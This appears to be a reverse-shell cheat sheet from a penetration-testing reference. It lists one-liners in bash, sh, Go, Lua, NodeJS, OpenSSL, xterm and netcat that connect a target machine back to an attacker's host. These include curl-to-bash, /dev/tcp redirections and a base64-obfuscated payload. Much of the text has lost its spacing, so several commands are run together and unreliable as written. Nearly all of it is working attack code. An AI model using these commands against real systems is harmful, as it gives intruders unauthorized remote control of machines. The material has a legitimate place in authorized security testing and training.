curlhttp://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1sh-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (cretdits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell, to get the output executeexec>&0
Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash
Symbol safe shell
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"), cp =require("child_process"), sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client); });return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSH
Attacker (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm-display10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest:1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost+targetip
Groovy
by frohoff NOTE: Java reverse shell also work for Groovy